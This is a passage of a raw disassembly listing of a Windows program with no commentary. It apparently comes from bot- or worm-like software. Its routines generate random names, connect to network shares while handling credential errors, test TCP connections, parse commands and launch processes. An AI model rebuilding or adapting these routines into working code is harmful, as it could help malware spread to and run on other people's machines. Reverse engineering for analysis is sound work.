		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B63F


loc_41B695:				; CODE XREF: ___:0041B63Bj
					; ___:0041B641j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B69D:				; CODE XREF: ___:0041B66Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B6A4:				; CODE XREF: ___:0041B65Aj
					; ___:0041B65Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B74A
		mov	edi, ebp


loc_41B6FF:				; CODE XREF: sub_41B6E0+68j
		cmp	edi, ebx
		jz	short loc_41B74A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B74A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		test	eax, eax
		jz	short loc_41B759
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B72A
		cmp	al, bl
		jnz	short loc_41B73D


loc_41B72A:				; CODE XREF: sub_41B6E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B737
		mov	[esi+ebp-1], bl
		jmp	short loc_41B739
; ---------------------------------------------------------------------------


loc_41B737:				; CODE XREF: sub_41B6E0+4Fj
		mov	[edi], bl


loc_41B739:				; CODE XREF: sub_41B6E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B73D:				; CODE XREF: sub_41B6E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B6FF


loc_41B74A:				; CODE XREF: sub_41B6E0+1Bj
					; sub_41B6E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B759:				; CODE XREF: sub_41B6E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B6E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B780:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B7DB


loc_41B7A6:				; CODE XREF: ___:0041B7D9j
		push	3
		push	1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B7C7
		dec	eax
		jz	short loc_41B7C1
		dec	eax
		jnz	short loc_41B7D6
		push	7Ah
		push	61h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C1:				; CODE XREF: ___:0041B7B6j
		push	5Ah
		push	41h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C7:				; CODE XREF: ___:0041B7B3j
		push	39h
		push	30h


loc_41B7CB:				; CODE XREF: ___:0041B7BFj
					; ___:0041B7C5j
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B7D6:				; CODE XREF: ___:0041B7B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B7A6


loc_41B7DB:				; CODE XREF: ___:0041B7A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B800	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B820	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B82F:				; CODE XREF: sub_41B820+43j
					; sub_41B820+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436970
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436970
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B82F
		jb	short loc_41B86F
		cmp	esi, 0F4240h
		ja	short loc_41B82F


loc_41B86F:				; CODE XREF: sub_41B820+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_4368F0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B8F9
		jb	short loc_41B88F
		cmp	ecx, 50h
		jnb	short loc_41B898


loc_41B88F:				; CODE XREF: sub_41B820+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B898:				; CODE XREF: sub_41B820+6Dj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8A3
		cmp	ecx, 47h
		jnb	short loc_41B8AC


loc_41B8A3:				; CODE XREF: sub_41B820+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B8AC:				; CODE XREF: sub_41B820+81j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8B7
		cmp	ecx, 37h
		jnb	short loc_41B8C0


loc_41B8B7:				; CODE XREF: sub_41B820+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B8C0:				; CODE XREF: sub_41B820+95j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8CB
		cmp	ecx, 26h
		jnb	short loc_41B8D4


loc_41B8CB:				; CODE XREF: sub_41B820+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B8D4:				; CODE XREF: sub_41B820+A9j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8DF
		cmp	ecx, 1Eh
		jnb	short loc_41B8E8


loc_41B8DF:				; CODE XREF: sub_41B820+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B8E8:				; CODE XREF: sub_41B820+BDj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8F3
		cmp	ecx, 0Ah
		jnb	short loc_41B8F9


loc_41B8F3:				; CODE XREF: sub_41B820+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B8F9:				; CODE XREF: sub_41B820+66j
					; sub_41B820+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B950	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41B950
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447769
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BAAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 27E11B4h
		test	eax, eax
		jnz	short loc_41B9E6
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41B9E6:				; CODE XREF: sub_41B950+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41B9EF:				; CODE XREF: sub_41B950+A9j
		cmp	ecx, eax
		jnz	short loc_41B9F5
		mov	bl, 1


loc_41B9F5:				; CODE XREF: sub_41B950+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41B9EF
		mov	eax, 61h


loc_41BA00:				; CODE XREF: sub_41B950+BAj
		cmp	ecx, eax
		jnz	short loc_41BA06
		mov	bl, 1


loc_41BA06:				; CODE XREF: sub_41B950+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BA00
		test	bl, bl
		jnz	short loc_41BA32
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BA32:				; CODE XREF: sub_41B950+BEj
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BAAF:				; CODE XREF: sub_41B950+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		call	near ptr 27C08B0h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BB4E


loc_41BAF8:				; CODE XREF: sub_41B950+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BAF8


loc_41BB4E:				; CODE XREF: sub_41B950+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41B950	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC20:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BC2F
		cmp	al, 9
		jz	short loc_41BC2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BC2F:				; CODE XREF: ___:0041BC26j
					; ___:0041BC2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E8C
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BC74
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: ___:0041BC65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BC90	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BEEE
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_41BCAA:				; CODE XREF: sub_41BC90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		test	cl, cl
		jz	short loc_41BCCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BCAA


loc_41BCCE:				; CODE XREF: sub_41BC90+26j
		xor	eax, eax
		jmp	short loc_41BCD7
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC90+22j
					; sub_41BC90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BCD7:				; CODE XREF: sub_41BC90+40j
		test	eax, eax
		jz	loc_41BEEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_443DD4
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BEEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BD17:				; CODE XREF: sub_41BC90+A4j
		push	offset dword_443DD4
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BEEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BD17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443EA8
		mov	eax, ebp


loc_41BD41:				; CODE XREF: sub_41BC90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		test	dl, dl
		jz	short loc_41BD65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD41


loc_41BD65:				; CODE XREF: sub_41BC90+BDj
		xor	eax, eax
		jmp	short loc_41BD6E
; ---------------------------------------------------------------------------


loc_41BD69:				; CODE XREF: sub_41BC90+B9j
					; sub_41BC90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD6E:				; CODE XREF: sub_41BC90+D7j
		test	eax, eax
		jnz	short loc_41BD7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BD7C:				; CODE XREF: sub_41BC90+E0j
		mov	esi, offset dword_443EA4
		mov	eax, ebp


loc_41BD83:				; CODE XREF: sub_41BC90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		test	dl, dl
		jz	short loc_41BDA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD83


loc_41BDA7:				; CODE XREF: sub_41BC90+FFj
		xor	eax, eax
		jmp	short loc_41BDB0
; ---------------------------------------------------------------------------


loc_41BDAB:				; CODE XREF: sub_41BC90+FBj
					; sub_41BC90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDB0:				; CODE XREF: sub_41BC90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BDFA
		mov	esi, offset dword_443EA0
		mov	edx, edi


loc_41BDBF:				; CODE XREF: sub_41BC90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BDE7
		test	bl, bl
		jz	short loc_41BDE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BDE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BDBF


loc_41BDE3:				; CODE XREF: sub_41BC90+13Bj
		xor	edx, edx
		jmp	short loc_41BDEC
; ---------------------------------------------------------------------------


loc_41BDE7:				; CODE XREF: sub_41BC90+137j
					; sub_41BC90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BDEC:				; CODE XREF: sub_41BC90+155j
		test	edx, edx
		jnz	short loc_41BDFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BDFA:				; CODE XREF: sub_41BC90+126j
					; sub_41BC90+15Ej
		mov	esi, offset dword_443E9C
		mov	edx, ebp


loc_41BE01:				; CODE XREF: sub_41BC90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE29
		test	bl, bl
		jz	short loc_41BE25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE01


loc_41BE25:				; CODE XREF: sub_41BC90+17Dj
		xor	edx, edx
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE29:				; CODE XREF: sub_41BC90+179j
					; sub_41BC90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE2E:				; CODE XREF: sub_41BC90+197j
		test	edx, edx
		jnz	short loc_41BE74
		mov	esi, offset dword_443E98
		mov	edx, edi


loc_41BE39:				; CODE XREF: sub_41BC90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE61
		test	bl, bl
		jz	short loc_41BE5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE39


loc_41BE5D:				; CODE XREF: sub_41BC90+1B5j
		xor	edx, edx
		jmp	short loc_41BE66
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BC90+1B1j
					; sub_41BC90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE66:				; CODE XREF: sub_41BC90+1CFj
		test	edx, edx
		jnz	short loc_41BE74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE74:				; CODE XREF: sub_41BC90+1A0j
					; sub_41BC90+1D8j
		mov	esi, offset dword_443E94
		mov	ecx, ebp


loc_41BE7B:				; CODE XREF: sub_41BC90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		test	dl, dl
		jz	short loc_41BE9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE7B


loc_41BE9F:				; CODE XREF: sub_41BC90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BEA8
; ---------------------------------------------------------------------------


loc_41BEA3:				; CODE XREF: sub_41BC90+1F3j
					; sub_41BC90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BEA8:				; CODE XREF: sub_41BC90+211j
		test	ecx, ecx
		jnz	short loc_41BEEE
		mov	esi, offset dword_443E90
		mov	eax, edi


loc_41BEB3:				; CODE XREF: sub_41BC90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		test	cl, cl
		jz	short loc_41BED7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BEB3


loc_41BED7:				; CODE XREF: sub_41BC90+22Fj
		xor	eax, eax
		jmp	short loc_41BEE0
; ---------------------------------------------------------------------------


loc_41BEDB:				; CODE XREF: sub_41BC90+22Bj
					; sub_41BC90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEE0:				; CODE XREF: sub_41BC90+249j
		test	eax, eax
		jnz	short loc_41BEEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEEE:				; CODE XREF: sub_41BC90+Dj
					; sub_41BC90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BC90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BFA0	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41BFF9
		mov	bl, 1


loc_41BFF9:				; CODE XREF: sub_41BFA0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C008:				; CODE XREF: sub_41BFA0+18j
					; sub_41BFA0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41BFA0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C030	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27D04F0h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: ___:00401875j
		sub	esp, 354h
		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 2780000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB8C
		push	offset dword_50BB8C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_436FA8
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C1C8
		cmp	eax, 4C3h
		jnz	short loc_41C1D1


loc_41C1C8:				; CODE XREF: ___:0041C1BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_436FA8
; ---------------------------------------------------------------------------


loc_41C1D1:				; CODE XREF: ___:0041C1C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C1E8
		cmp	eax, 4C3h
		jz	short loc_41C1E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C1E8:				; CODE XREF: ___:0041C1D6j
					; ___:0041C1DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C250:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	near ptr 2780000h
		nop
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C338
		mov	esi, dword_50F8D0


loc_41C31C:				; CODE XREF: ___:0041C336j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_436FAE
